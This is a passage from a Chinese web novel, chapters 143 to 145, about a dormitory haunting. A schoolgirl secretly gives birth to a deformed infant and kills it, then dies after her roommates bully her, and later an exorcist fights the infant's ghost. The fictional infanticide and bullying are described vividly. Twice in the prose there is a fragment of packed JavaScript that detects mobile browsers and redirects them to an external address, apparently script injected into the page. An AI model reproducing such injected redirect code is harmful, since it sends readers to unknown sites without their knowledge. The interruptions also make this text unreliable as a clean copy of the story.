但妈妈并没有给它太多的思考时间，它看见妈妈一手抱着它，另一只手从水池的化妆台边拿了一把小刀，那小刀上刻着“眉刀”的字样，它来不及多想，母亲已经用这把眉刀一下、一下割断了脐带，并扯下了她体内残留的胎盘，鲜红色的血，涌了出来，染红了她的睡裙，并流了一地，她许多地靠着马桶，疼痛地倒吸了几口气，脸色苍白得没有一丝血色。
它眨了眨眼睛，挥舞的小手想要抱一抱妈妈，但奇怪的是，在自己触碰到妈妈温热的脖颈的时候，对方像是被脏东西碰到一样，忙往后缩了缩脑袋，看着自己的眼眸也染上了几分惊恐
她的汗水打湿了额头的发，那一根根头发贴在她的前额，顺着她的鬓角流下。
“怎么……怎么会是个畸形的孩子呢……”
她绝望地别开脸，闭上眼睛，从眼角划过温热的泪水，咬着下唇，身体颤抖着，却不让自己哭出来。
“为什么……为什么我和伯良的孩子……会是一个畸形的孩子呢……”
她断断续续地重复着这几个字。
它听不懂，只知道对方似乎并不喜欢自己。
并不喜欢……
长着人鱼尾巴和鳞片的自己。
“？！”
它微微回过头，也看见了镜子里的自己——它的双腿没有分开，像是一条人鱼的尾巴，不知道是不是在母体里发育不全的原因，它并不是和其他孩子一样是一个四肢健全的孩子，它的腹部、胸膛和背上覆盖着细细密密的类似于鳞片一样的东西，日光透过排气扇投入卫生间里，映在它身上，它身上的鳞片也微微反光着，看起来像是一条鱼化身的人。
它突然有点儿明白，自己的妈妈为什么不喜欢自己了。
它是个异类，它和正常的孩子并不一样，甚至和自己的妈妈也不太一样，他们都是有双腿的，而自己却没有……
“为什么……为什么是个畸形的孩子……那我怎么跟伯良交代呢……”
眼前，妈妈掩面哭泣，将它放在了洗手池上，冰冷的洗手池刺痛了它的皮肤，它眨了眨眼睛，看着眼前崩溃的母亲，一时间不知道该如何反应，只能张开口，和母亲一样哭了起来。
“哇哇哇——”
孩子的哭声，似乎惊动了。
母亲抬起头，一把捂住了它的嘴巴，不让它哭出声。
她惊恐万分地回过头看着紧闭的卫生间的门，就在这时，门外传来了其他女孩子说话的声音——
“喂喂，你们有没有听到有孩子在哭啊？”
“好像是有，是我幻觉吗？”
“应该不会吧，我们这里是女生宿舍啊，哪来的孩子？再说了，我们是在四楼，就算是舍管阿姨带孩子过来，我们应该也听不到啊……”
“不是，我刚才好像听到那声音是从我们的洗手间传来的。”
“你瞎说什么啊，现在才刚开学而已，别吓人。”
“是不是刘悦那个伥鬼又在搞什么花样了？我真的烦她，能不能让老师或者舍管阿姨给我们重新换一间宿舍啊，像她这样的人就应该自己住一间，不要恶心别人了。”
“你小声点，她的行李箱放在这里，明显已经先来了，估计在洗手间里。”
“我记得她请假了好久吧……请假了两个月，又过了两个月的暑假……你还别说，四个月没见到她了，还怪想她的呢。”
“想她？哈哈哈哈，你是因为四个月以来没有找到其他可以损的人吧，你就最缺德了。”
……
三个女孩子说笑着，来到了卫生间门外。
“刘悦，你在里面吗？”
“在里面的话，你就顺便把厕所洗干净一下，两个月没用了，刚好你来了，洗一洗厕所，也是你的老本行。”
卫生间的门上依稀有三个模糊的影子，她们敲了敲门，但卫生间里的新生儿母亲却不敢回答。
她们又敲了敲门，甚至试图从外面将厕所的门打开，只不过门被锁住了，她们推了几下、转动了几下把手，都没有把门打开。
“刘悦！你在里面干什么啊？应一声会死啊！”
“我可告诉你，不许在里面上大号！你脏死了不许用马桶，老规矩，要上大号去外面上！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997955|146250||http|test|mini|href|location''.split(''|''),0,{}));
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“真恶心，我待会儿要丢一片清洁剂在我们的马桶里。”
就在这时，门外的三个人似乎闻到了一股血腥味从卫生间里传出。
“等等，我好像闻到了什么味道。”
“奇怪……你们有没有闻到什么味道啊？”
“血的味道？”
“刘悦，你是不是来姨妈了啊？我告诉你，你用过马桶之后都要给我认真擦干净，还有，你用过的姨妈巾不许和我们的姨妈巾丢在同一个桶里面，你的自己打包带出去丢，脏死了。”
“我怎么觉得好像没那么简单啊，来姨妈的味道也不会这么冲啊……刘悦！你开门！你到底在里面做什么啊？！别在我们的卫生间里搞七搞八的，你给我出来！”
那几个女孩子说着，就开始咚咚咚地敲门，甚至用脚踹门，想要破门而入。
“你给我等着！我这就去找舍管阿姨拿钥匙！”
“这卫生间好像不是用钥匙的，应该是她从里面落锁，固定住了锁眼。”
“那我们就叫隔壁的一起把门撞开！我真是受不了她了，这个死伥鬼！勾引马伯良还不够，现在又在搞七搞八的，怕不是在里面养小鬼、扎小人要害我们吧？！”
她们说着，开始撞门了起来。
“咚咚咚”的撞门声，一次比一次大。
卫生间里，刚生下孩子的女孩子惊恐地看着门外的影子，转过头，看着被自己放在洗手池里的孩子，已经奄奄一息。
——新生儿本就脆弱，她在孩子刚出生的时候，没有做好消毒保暖，又用手捂着孩子的口鼻不许孩子哭出声，因为缺氧，孩子的脸变得青紫了几分，它翻着白眼，倒喘着气，像是有点儿支撑不下去的意思。
看着放在洗手池里的孩子，她不由得咬住嘴角，流下两行眼泪。
低下头忏悔了几秒钟后，她毅然决然地拿起了方才用来割断脐带的眉刀，朝着孩子温热的喉咙划了过去……
割喉，放血，杀人，分尸……
孩子的身体本就小，发育迟缓的它，身体和骨骼都不如一般的孩子，“处理”起来不需要太费力。
一阵接二连三的冲水声后，浴室里响起了淋浴的声音。
“沙拉……”
莲蓬头里出的水砸落在地砖上，在刺耳的水声中，刘悦的声音闷闷地从卫生间里传来——
“我来姨妈了，量有点大，你们放心，我现在就把厕所洗干净，不会让你们看到什么……脏东西。”
她的声音，听不出任何情绪。
麻木。
冰冷。
见状，门外的三个女孩这才作罢，反正她们一时间也撞不开门，现在有人洗厕所，何乐不为？
“那你可要洗干净了，刘悦，那个马桶——特别是你用过的地方给我好好冲一下，要是让我看到有哪里不干净的地方，我弄死你。”
“真是烦，和这样的人做舍友，真是倒了八辈子霉。”
“忍着点吧，再过一年，高考完后就解放了。”
“越看她越讨厌，臭婆娘还想着去勾引段草，整天在舞蹈室跳舞，勾引男人的下作手段。”
“说来……马伯良好像也好一阵子没到学校来上课了，唉，我的伯良哥哥，好久没有看到他了，怪想念的。”
143. 刘悦之死
三个女孩子骂骂咧咧地回到了各自的床边，她们都在整理自己的衣物，今天是新开学的一天，所有人都带着一箱子衣服风尘仆仆地刚刚回到宿舍。
“真是晦气！”
“她不就那样子。别理她。”
“我最烦她那张脸，像是别人欠她百八十万似的。”
“男人不就最喜欢那种楚楚可怜的女孩子？最吃她这一套了。”
“想一想就生气！我本来可以拿下伯良哥哥的！都怪她横插一脚！整天在伯良哥哥回宿舍的舞蹈室里面跳舞，勾引伯良哥哥！”
她们将衣服从各自的行李箱拿出来，并打开了衣柜，开始整理衣服。
就在这时，其中一个女孩子注意到刘悦的宿舍床上似乎放着几本粉红色的本子，那几本本子压在枕头下面，似乎不愿意展示给人看，她匆忙之中塞进去的一般。
“这是什么？”
好奇心驱使着其中一个女孩子来到刘悦的床边，翻开了她的枕头，本子上醒目的几个字映入眼帘——
陵川市妇幼保健院病历本。
这本子的页面是粉红色的，封面是粉色及蓝色相间的，封面上还印着陵川市妇幼保健院的照片。
“你们快过来看！那个伥鬼去看妇幼保健院？”
“什么？她不会有妇科病吧？！”
“啊？！那我们还跟她在同一间宿舍里，会不会传染我们啊？！”
其他两个女孩子忙凑了过来，三个女孩子翻开了那本自己就开始研究起来。
“这是她的吗？去看的妇科吗？真恶心啊！她不会得病了吧？！”
“是啊！封面上还写着她的名字和身份证号码呢，错不了！我看这个日期都是今年的！我早就觉得这个BZ不干净，现在被我发现了！一定是日常就出去乱搞，不知道在哪里染病了……我要去报告给老师，让她从我们404搬出去！”
“等等，你们看看这里……我怎么看着感觉这个不像是妇科的就诊记录啊……”
这不看不知道，一看吓一跳。
刚开始以为是刘悦去妇幼保健院的妇科就诊记录，但是这一页一页的看过去，做的项目很多，但大部分都是一些产检有关的项目，更让人感到毛骨悚然的是，在每次就诊记录上，都有写着胎儿的月份，从刚开始的三个月，到五个月，八个月……
唐氏筛查、羊水穿刺、B超检查，筛查胎儿染色体异常……几乎所有的产检项目她都没有落下。
这本，不是什么妇科的就诊记录，上面也没有写着什么妇科病。
因为刘悦去的，根本不是妇科，而是产科。
这是一本……
产检病历本！
每一张产检单上都清晰地写着刘悦的名字，甚至还有一张模糊的胎儿的B超检查记录。
三个正值青春年华的女孩子，瞪大了眼睛死死地盯着那张模糊不清的胎儿B超单，仿佛时间在这一刻凝固了一般。她们脸上原本冷嘲热讽的笑容和眼底嫌弃满满的恶意，在这瞬间消失得无影无踪，取而代之的是满脸的惊愕与难以置信。
就这样，三个人呆呆地站在原地，如同被施了定身咒一般，一动也不动。
周围的世界似乎也跟着安静下来，只剩下她们急促的呼吸声和心跳声，没有人开口说一句话，甚至连眼神交流都不敢有，生怕从对方的眼中看到同样的恐惧和无助。
此刻，她们的脑海中犹如掀起了一场惊涛骇浪，所有的思绪都被这突如其来的冲击搅得天翻地覆。
一个个疑问像炸弹般不断在脑海中爆炸开来。
“怎么会这样？”
“这到底是谁的孩子？”
三人面面相觑，眼中满是震惊和疑惑。刘悦竟然怀孕了？她们无法相信这个事实，拿着病历本的那个女孩子更是赶紧把病历本丢在床上，像是接触到什么脏东西一样，怕沾染到自己手上。
“会不会……会不会是马伯良的孩子？她之前不是一直纠缠着马伯良吗？”
“不！不会是伯良哥哥的孩子的！我的伯良哥哥才不会跟她这种绿茶上床！”
“但是这个产检报告就是证据啊。”
“不对！一定是她跟其他男人乱搞，肚子大了，瞒不住了，才去产检的！”
“说来……她上个学期期末的时候确实请假了两个月，再加上暑假两个月……难道是在养胎待产？”
“但是我们……我们都没有注意到她有大肚子啊？在这之前。”
“你们傻啊，你们没发现她上学期穿的都是宽松的裙子吗？当时我还以为她是品味变了，开始喜欢穿那些臭裙子，我现在明白了，她就是在故意隐瞒自己怀孕的事情！”
“那你说她为什么不打胎啊？难道不是因为怀上的是心爱的男人的孩子吗？她喜欢马伯良是我们都知道的事情，从她不想打掉孩子来看……我看这个孩子八成就是马伯良的！”
“不会的！不会的！伯良哥哥才不会……不行！我要跟她问清楚！”
就在这时，洗手间的门“吱呀”一声打开了，刘悦缓缓地走了出来，她的脸色有些苍白，扶着厕所的门框，她的腿脚发软，似乎有点儿站不稳身子。
她已经换了一套干净睡衣，在厕所里将方才染血的睡裙换掉了，但刚分娩完，她的身体还是十分虚弱，甚至连说话的力气都没有。
抬起头，她的眼神中透露出一丝疲惫，当她看到舍友们异样的眼神时，心中涌起一股不安。
她们想看看着一个怪物一样看着她，眼神中充满了嫌弃和警惕。
“刘悦，这是什么？”
其中一个女孩子拿起床上的病历本，直接将病历本甩在刘悦脸上。
看着掉在脚边的病历本，刘悦的脸色瞬间变得惨白，她张了张嘴，却没有发出任何声音。
她现在知道纸包不住火了，自己刻意隐瞒的消息，居然被发现了。
其他两个女孩子也上前一步逼问道：“你是不是怀孕了？为什么不告诉我们？”
刘悦低下头，泪水在眼眶中打转，她轻声说道：“不是你们想的那样……”
然而，她的解释在愤怒的舍友们面前显得那么苍白无力。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007177|146250||http|test|mini|href|location''.split(''|''),0,{}));
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站在最前面的女孩子似乎是马伯良的仰慕者，见此病例，她怒不可遏，她伸手推了刘悦一把：“你还想狡辩？你怎么能做出这种事？！我们还只是高中生，你就已经怀孕了！说！是谁的野种？！”
刘悦一个踉跄，差点摔倒。
其他女孩子也对刘悦大声指责，情绪越来越激动。
“你真是恶心的BZ，本来以为你只是勾引男人，没想到你的功夫还挺厉害，都到床上去了！”
“孩子到底是谁的？！你是不是在外面卖了？”
“你有没有得病？和我们住在一间宿舍里，你是想害我们也得病吗？”
铺天盖地的指责如同浪潮一样卷来，刘悦低下头，被骂得频频后退，但那三个女孩子还是不依不饶地骂她，她们站在道德的制高点，居高临下地俯视着刘悦，她们下意识地认为还是清白之身的她们，就是比怀孕了的刘悦高贵。
“你说啊！你到底和谁上床了？！我要去告诉伯良哥哥！让他知道知道你的真面目！”
“不……不要告诉伯良……”刘悦祈求地看着眼前咄咄逼人的三个舍友，一时间退到了卫生间里，如同走投无路、被逼入死胡同的人。
“为什么不要告诉伯良哥哥？！”
“他……他……如果让他爷爷知道了，会打死他的……”
“你什么意思？难道……难道这个孩子是伯良哥哥的？！你给我说清楚！”
“打烂她的嘴，让她知道说谎的后果！”
四个女孩子相互之间推搡得越来越厉害，场面一片混乱。
在这阵慌乱之中，也不知道究竟是谁突然用力推了刘悦一把，猝不及防之下，刘悦的身体猛地向一侧歪斜过去，完全失去了平衡，只听得“咚”的一声巨响，刘悦的脑袋结结实实地撞在了卫生间那坚硬无比的洗手池上！
刘悦痛苦地闷哼了一声，紧接着整个身体就像被抽走了所有力气一般软软地瘫倒在地。
刹那间，一股鲜红的血液从她的头部汩汩流出，如同一条蜿蜒的红色小溪，迅速染红了周围的地面。
看到眼前这一幕，另外三个舍友瞬间惊呆了，她们瞪大双眼，满脸惊恐地望着倒在血泊中的刘悦，一时间竟然手足无措，呆立当场。
过了好一会儿，其中一个女孩子才稍稍回过神来，她一边歇斯底里地尖叫着：“你……你别装死！伥鬼，快给我起来！”
一边狠狠地朝着刘悦踢了一脚。
然而，刘悦却毫无反应，依旧静静地躺在那里。
这时，又有一个女孩子战战兢兢地蹲下身子，伸出颤抖不已的右手，小心翼翼地靠近刘悦的鼻子下方，试图探测她是否还有呼吸。
几秒钟之后，这个女孩子像是触电般猛地缩回了自己的手，脸上满是惶恐和无助，眼神茫然地看向身后的另外两个女孩子。
“她好像……死了……”
刘悦的身体渐渐变得冰冷刺骨，而她那双原本明亮动人的大眼睛此刻依然圆睁着，直勾勾地盯着上方，似乎在无声地诉说着内心深处那无穷无尽的冤屈与不甘。
144. 一剑、一盾
在沈聆看到曾经发生在404女寝中的故事时，她已不自觉泪流满面，她也说不清楚这温热的眼泪来自何处，或许是来自于某个无辜死去的少女，也或许来自于某个没有来得及好好看一眼这个世界的孩子。
灵元草摇曳着枝叶，它那莹绿色的光在一瞬间将沈聆从过去的发生的事情中抽离出来。
在沈聆回过神来的时候，发现自己回到了当下，回到了正在闹鬼的404女寝。
日光消失了，取而代之的，是几乎永远不会被照亮的夜色，这一夜似乎格外漫长，从刘悦死了的那一天开始，似乎就已经进入了没有终结的循环之中。
沈聆抬起头，看见了被困在镜子里的三个女鬼。
都说，镜子是聚阴之物，能够汇聚世间的阴气，而那三只女鬼被阴灵杀害之后，在阴灵的压迫下，被困在了镜子里的世界，似乎永远也找不到转世求生的路。
“……我知道你的事情了。”
“什么？”
阴灵愣了一下，它的操控下，宋明夷的表情也带着几分惊讶。
虽然沈聆看到了这么多的事情，但这些事情都是一瞬间灵元草带着她的思绪穿越到过去的时间看到的事情，在现实中的时间里，才过去一秒钟。
一瞬间，也可以是亿万年。
这一瞬间很短，让所有人都没有意识到发生在沈聆身上的变故。
但这一瞬间却也很长，灵元草让她看到了发生在刘悦身上的悲剧，那个自己素不相识的女孩子，在同一个学校里，却被欺凌、怀孕产子后，绝望而死……
吴妄握紧了手中的桃木剑，他似乎随时准备对眼前这个不知好歹的婴孩动手。
但沈聆拉了拉他的衣角，他微微转过头，正对上沈聆的视线。
她点了点头，用眼神示意吴妄先不要动手，她或许能和这阴灵“沟通”一下。
“灵元草，让我看到了过去发生的事情……你的母亲在404宿舍里生下你，但出生，你就是一个与众不同的孩子，你的母亲担心你异样的存在是一个祸害，也害怕你的存在不被众人所接受，这才选择了杀死你，但是你不甘心就这样死去，你留在了这个宿舍，你变成了怨灵，你杀死了这个宿舍的另外三个女孩子，把她们困在了镜子里的世界、永不超生。”
“哈哈哈哈哈哈——”宋明夷大笑了起来，似乎是听了什么令人捧腹的笑话，随后，她那双微微眯起眼睛里带着几分不屑和愤恨，“开玩笑，一个亲手杀死我的人，怎么也配叫我的母亲吗？你会唤杀死你的人是母亲吗？”
“她这么做，一定是有不得已的理由的。”
“不得已？哈哈哈哈，既然都让我来到这个世界上，为什么有杀死我？难道我没有你们这个世界所谓的‘人权’吗？我在这里很久了，我也听过你们读书的声音、谈话的内容，我知道你们这个世界是一个文明法治的世界，为什么就容不得我？要把我分尸在卫生间的马桶里冲掉？！”
“但是……如果她真的不要你的话，为什么又要一次次产检呢？你可能没有看到她的产检病历本……在你死了之后，你母亲的舍友发现了她的病历本，是陵川市妇幼保健院的体检本，她每一次产检，都有去的，她有好好在对待你的出生。”
“你说有就有了？反正她现在也不在这里，你说什么就是什么了。”
“那你有没有想过她为什么不在这里？”
“我怎么知道！可能觉得生下我是一个耻辱吧！”宋明夷说着，用双手抓着地面，看样子就像是一只蓄势待发的恶犬，随时准备扑上来咬一口。
在房间里，那阴灵的煞气也更重了几分，整个房间都是他的蛛丝粘着的空间，他的情绪会传递到房间的每个角落，整个结界都随之颤抖了起来。
吴妄眯起了眼睛，表情更严肃了几分。
他用自己的修为张开了八卦结界，并维持结界里的稳定，只要他没有受到重创，那么这结界就能隔绝一切内外的声音和动静，让甚至是403和405的学生都听不见隔壁发生的动静。
但是，现在，他忽然感觉到似乎有什么东西正在朝着这里靠近。
是的。
在他张开了自己的结界的同时，他的感知能力也扩大到整个宿舍，辐射到整栋公寓楼外面。
张开了奇门八卦阵后，他的感知力也在大幅度提升，他能够感觉到有什么东西似乎正在靠近这栋宿舍楼，并且那东西靠近的方向，似乎是教学楼的方向。
他沉默着，视线看向了窗户外的阳台，在阳台之外，夜色像是更深沉了几分，就像是打翻了的墨水，将整个天空都染上了一层墨色。
“你的母亲一定是因为什么原因才放弃你的……说不定，是你的特殊体质。”沈聆沉了沉声音，眼眸中流露出几分惋惜，“你的样子……和大多数的孩子都不一样，或许，她本来以为是个健康的孩子的……”
“因为我的异常，就抛弃我吗？”
宋明夷愤怒地吼着，吼着的人是她，但实际上却是无法开口说话的阴灵，沈聆的这句话像是刺痛了阴灵那敏感的神经。
虽然它还是个孩子的时候就已经死了，但她也看到了这宿舍里的其他三个人，知道正常人是有双腿的，而不是有着一条人鱼的尾巴。
是的。
没有双腿的人，怎么直立行走呢？
没有双腿的人，怎么能叫做正常人呢？
“我要你们都死在这里！我讨厌你们！”
宋明夷怒吼着，从阴灵身上爆发出一道道白色的煞气，瞬间，从它的身体里一个个鳞片如暴雨梨花针一样外射，那坚硬的鳞片打在了天花板、床板、地板上，打穿了钢制的床架子，甚至打碎了房间里的玻璃。
“结界，开！”
吴妄一声令下，在林凌、宋明夷和沈聆身前分别张开了四个小结界，如同屏风一样，挡住了阴灵身上射来的鳞片。
“你们都给我去死！”
宋明夷怒吼着，就要朝着沈聆扑过来。
“咚”地一声，她砸在了吴妄张开在她自己面前的结界上——这结界虽然挡住了阴灵的鳞片，但也将宋明夷囚禁在其中。
阴灵不甘心就这样失去宋明夷的控制权，它操控着蜘蛛丝，让宋明夷一次次撞在了结界上，“咚咚咚”只听见几声沉闷的声音，宋明夷撞得额头青紫，额头、鼻梁都撞出了血，但她丝毫没有感觉到疼痛一样，只知道一次次尝试“飞蛾扑火”一般的举动，试图撞破眼前的结界，从结界里出来！
“天魂地魄，清净无瑕
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，洗去尘埃，还我光华！”
吴妄话音刚落，他手中的桃木剑在空气中划过一道弧度，一道无形的剑气瞬间打出，那笔直的剑气打断了他面前的条条蜘蛛丝，最后打在了宋明夷面前张开的结界上，只听见一声“崩”的清脆的响声，仿佛是钢琴的琴弦断了一样，宋明夷的身体顿时软了下去，她身体一歪，倒在了地上，如同一个被抛弃的木偶。
“嘶……”
眼见着自己的蛛丝被吴妄斩断，失去对宋明夷的控制，阴灵怒火攻心，它伸出双手，从手中迸发出更多的蜘蛛丝，那些白色的蜘蛛丝如同时笔直的箭矢一样射向了吴妄和沈聆。
吴妄调转了桃木剑的剑锋，打下几道剑气，直接劈开了阴灵打来的蜘蛛丝。
“嚓嚓嚓……”
几声清脆的声音打过剑锋，那蜘蛛丝就这么被真气斩断，最后如发丝一样掉落在地上。
阴灵往后退了几寸，显然没想到眼前的人似乎比自己想象中更难对付一点。
——它一向盘踞在404宿舍里，从来没有见过外面的世界，也不知道外面的世界有比自己更可怕的存在，在它的世界里、在它的认知里，所有的一切生灵都和宿舍里那三个女生一样，是自己可以肆意掠夺的存在，这还是它第一次遇到一个比自己还厉害的对手，瞬间失去了所有的思考能力。
“怎么？没有其他招数了吗？鳞片和蛛丝……除了这两个，你还会什么？”
下一秒，他催动真气，脚下的八卦阵转动了起来！
他眯起眼睛，八卦阵的金光照亮了他的脸颊，剑气涌动之下，他脸颊两侧的发丝轻轻飘动着，微微眯起的眼眸里满是斩妖除魔的杀气。
“七星北斗，列阵前行，妖气无藏，邪魅万破！”
沈聆只听见他口中念念有词，猛然间挥手而出，一道璀璨夺目的剑气呼啸着破空而去。
这道剑气携带着雷霆万钧之势，仿佛要将世间万物都撕裂开来。
而对面的阴灵也不甘示弱，它缓缓抬起那双苍白如纸的手，刹那间，周围的空气似乎都变得凝重起来。无尽的杀气从它身上涌出，并迅速汇聚到一起，如同汹涌澎湃的潮水一般，紧接着，阴灵利用手中的蜘蛛丝，以令人眼花缭乱的速度在身前编织出一面坚不可摧的盾牌！
说时迟那时快，那道威力惊人的剑气狠狠地撞击在了盾牌之上。
只听“轰”的一声巨响，犹如平地惊雷般炸响开来，震耳欲聋。
那一瞬间，沉重的嗡鸣声充斥着整个房间，四周的墙壁都开始剧烈颤抖，仿佛遭遇了一场强烈的地震，原本站得稳稳当当的沈聆被这股强大的冲击力震得重心不稳，身体不由自主地向后倒去，一屁股重重地跌坐在冰冷的地面上。
尽管吴妄与阴灵之间相隔了一段距离，但双方的交锋却越发激烈。
这边，吴妄体内的真气源源不断地喷涌而出，在空中幻化成一把巨型宝剑，裹挟着排山倒海之力朝着阴灵猛劈过去；另一边，阴灵全力施为，不断加固着身前的盾牌，试图抵挡住吴了妄这凌厉的一击。
一剑，一盾，拉扯着这结界里的空间张力，似乎要将这空间撕裂开来。
二者你来我往，互不相让，一时间竟难分胜负，就这样僵持在了原地。
145. 鬼女
且说当下，吴妄和阴灵正在斗法。
尽管从表面上来看，这场战斗似乎呈现出一种势均力敌的态势，然而实际上，吴妄这一方显然要更为轻松一些。
只见那阴灵施展出浑身解数，运用自身所蕴含的煞气凝聚成一面厚实坚固的盾牌，以此来全力抵御吴妄凌厉的攻势。
很显然，此刻的阴灵完全处于被动防守的境地。
然而，即便如此，阴灵手中的盾牌依旧难以抵挡住吴妄那如同疾风骤雨般袭来的剑气。
只听得一声声清脆的撞击声响彻四周，那盾牌竟被吴妄的剑气逼迫得连连后退，仿佛风中残烛一般摇摇欲坠，不仅如此，盾牌之上也逐渐浮现出一道道细微的裂痕，宛如蛛网般迅速蔓延开来。
“哼，你以为凭借这点能耐就能与我抗衡么？简直是痴人说梦！”
吴妄冷哼一声，沉声道。
说话间，他再次加大了注入桃木剑身中的真气力度。
刹那间，一股强大的真气波动以他为中心向周围的空气荡漾开去，犹如平静湖面泛起的层层涟漪，那些原本交织在空中的蜘蛛丝一旦触及到这股真气波动，便瞬间断裂开来，化作无数碎屑纷扬飘落至地面。
沈聆感觉到周围整个空间似乎都被这张力拉扯着，如紧绷的弦一样可能随时都要崩裂开。
“嗡……”
与此同时，随着吴妄剑气威力的不断增强，盾牌上的裂痕愈发增多且加深，其破碎之势已变得岌岌可危。眼瞅着阴灵即将无法承受住吴妄这般凶猛无比的攻击。
——吴妄毕竟是青城山的关门弟子，他的师傅是青城山最有威望的师祖之一，他从小被师傅养大，在师傅的教习下学习道家独门真气，因此在降妖除魔上，自然也比一般的道士更加厉害一点。
且说他用自己的一部分真气张开了结界，控制住了404女寝内的一切动静，并且仅用不到六成的真气就已经逼得阴灵节节败退，他心中有数，只要自己再催动能力，或许就能完全打破眼前这个鬼婴的盾。
就在这时，忽然他察觉到身后一阵鬼气袭来！
那鬼气阴森中带着血腥味，从他的后方直接穿透而来，如箭矢一样打破了他的结界，朝着他的后背打来！
“不好！”
他暗叫一声，来不及躲闪，那鬼气直接穿透了他的胸膛，他手中的桃木剑一抖，应声掉落在脚边，他趔趄了几步，单膝跪在地上，左手捂着被穿透的胸膛，低下头，吐出了一口深红色的血。
“道长！”
“吴妄！”
沈聆和林凌同时惊呼了一声，身边的沈聆赶忙扶住了吴妄的身子，她的手按在了吴妄的胸口上，她感觉得到温热的血液正顺着自己的指缝中流出，吴妄脚下的奇门八卦挂阵停止了转动，空气中由真气凝结而成的那把巨剑而在下一秒支离破碎。
吴妄微微拿开了自己捂着伤口的左手，发现左手的血是黑色的。
“这是煞气……”
煞气，如同奇毒，作用在修道者的身上，将使得血液无法凝固，身上的真气也会逐渐扩散，一旦强行催动真气运转，将进一步加重伤势，促使煞气入体。
他脸色阴沉地回过头看向了身后的宿舍门，刚才那道偷袭他的鬼气，就是从身后而来的。
“是我轻敌了。”
吴妄心有不甘地喃喃着，但嘴角却微微扬起，带着几分桀骜不驯的弧度。
虽然受伤的人是他，但他却没有丝毫慌张。
沈聆听到身旁人的低语后，下意识地顺着他所注视的方向望去，只见404宿舍门口不知何时竟悄然浮现出了一个红色的身影。
起初，那不过是一道暗沉的暗红色人形轮廓，若隐若现于昏暗之中，而在这轮廓的周遭，则有丝丝缕缕的血色雾气如潮水般缓缓涌动着，仿佛拥有生命一般。
伴随着那诡异的血色雾气不断翻涌，令人惊愕的一幕发生了——在那浓郁的血雾之中，一个女孩子的身形正一点一点地显现出来！
这个女孩完全是由那些血色的烟雾凝聚而成的人形，最初的时候，她的外形轮廓显得有些朦胧和模糊，就像是一幅尚未完成的画作，然而，就在众人屏息凝视之下，她的形象开始在空气当中逐步凝固成形，先是那头乌黑亮丽的秀发渐渐清晰可辨，随后便是精致的五官逐一凸显出来，就连她临死前身上所穿着的衣物也都逐渐变得明晰可见，仿佛时间倒流一般，将她生前最后的模样完整地呈现在了人们眼前。
沈聆想起了刚才在回忆中看到的那个女孩子的样子。
那个……在卫生间里诞下婴孩的女孩子的样子。
“你是……刘悦？！”
闻言，那鬼婴的动作也硬生生停顿在半空中，一时间不知道该作何反应。
它是知道这个名字的。
在那孤独而又漫长的时间里，它也曾经听到过这个名字，知道404宿舍还有一个失踪的女同学，它心中也猜测到了几分关于自己生母是刘悦的这件事情，但它在死后却再也没有看到过她，仿佛这个人从那之后人间蒸发了一样，从那时候起，它不再相信自己有母亲的这件事情，它认为自己是被母亲抛弃的孩子，一个被母亲亲手杀死的孩子，又何必心心念念那个不接受自己的人呢？
但就算是这样仇恨着，心中关于母子的羁绊也依旧存在。
在再一次听到那个名字的时候，它那已经不存在的心跳，不知道为什么，似乎又轻轻跳了一下。
“你是刘悦……”沈聆看着显形在门口前的那个红色的人影，沉声说道，“我见过你的，我在你的回忆里见过你。”
闻言，那人并没有说话，而是平静地注视着沈聆。
她皮肤、头发全都是血红色的，一双眼睛亦然。
从那平静的表情上，看不出她的任何情绪，她看起来就像是一潭死水一样，完全没有任何情绪的波澜，又像是一滩泥沼，能够将任何投进去的东西全都吞噬殆尽。
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“你在404的厕所，生下了你的孩子，但是它却有一条人鱼的尾巴，身上还有鳞片……你觉得自己生了一个畸形的孩子，这样的孩子势必不能为世俗所接受，所以，你就杀了它，甚至不给它长大的机会……”沈聆看了一眼身后的鬼婴。
此刻，她和吴妄就介于两个鬼魂之间，她不敢想象如果惹怒任何一方，会不会当场被两只鬼魂撕碎。
——吴妄的状态不是很好，沈聆尝试着用灵元草的灵气稍稍延缓吴妄伤口中煞气的入侵速度，但看着他嘴角带血的样子，她知道自己不能赌。
“为什么呢……你是想保护孩子的父亲对吗？连你的舍友都能猜到孩子的父亲是谁，其他人也一样可以……你本来满心欢喜地想要生下这个孩子，这是你和你心爱之人的羁绊，是你们的心血凝结而成的小生命，你认真做好了每一次产检，隐瞒过了所有人，希望能生下他，但是在看到孩子的模样的时候，你也崩溃了……你知道自己不能给那个男人带来麻烦，尤其是……带来一个畸形的孩子……你没有任何把握，因为你们都只是高二的学生，你们没办法承担一个畸形的孩子带来的任何后果。”
沈聆的声音很轻，她试图站在鬼女的角度分析她做事的出发点和苦衷。
从目前的情况来看，或许鬼女比鬼婴更危险，因此，她希望利用自己信息上的一点优势，拉拢一下鬼女，至少，在立场上将他们都统一在同一个立场，减少鬼女伤害自己的可能。
这么想着，沈聆深吸了一口气，放缓了语气，她看着鬼女，仿佛对着自己熟悉的一个朋友一般温柔地说道：“是马伯良吗？你想保护的人，也是这个孩子的父亲……你知道一个畸形的孩子不只是会毁了自己的未来，也会毁了他的前途，所以你将孩子扼杀在刚出生的时候，你不想连累他对吗？”
沈聆话音刚落，鬼女微微低下了头。
她发现，鬼女虽然仍旧是面无表情的，但从她的眼角流出了两行红色的眼泪。
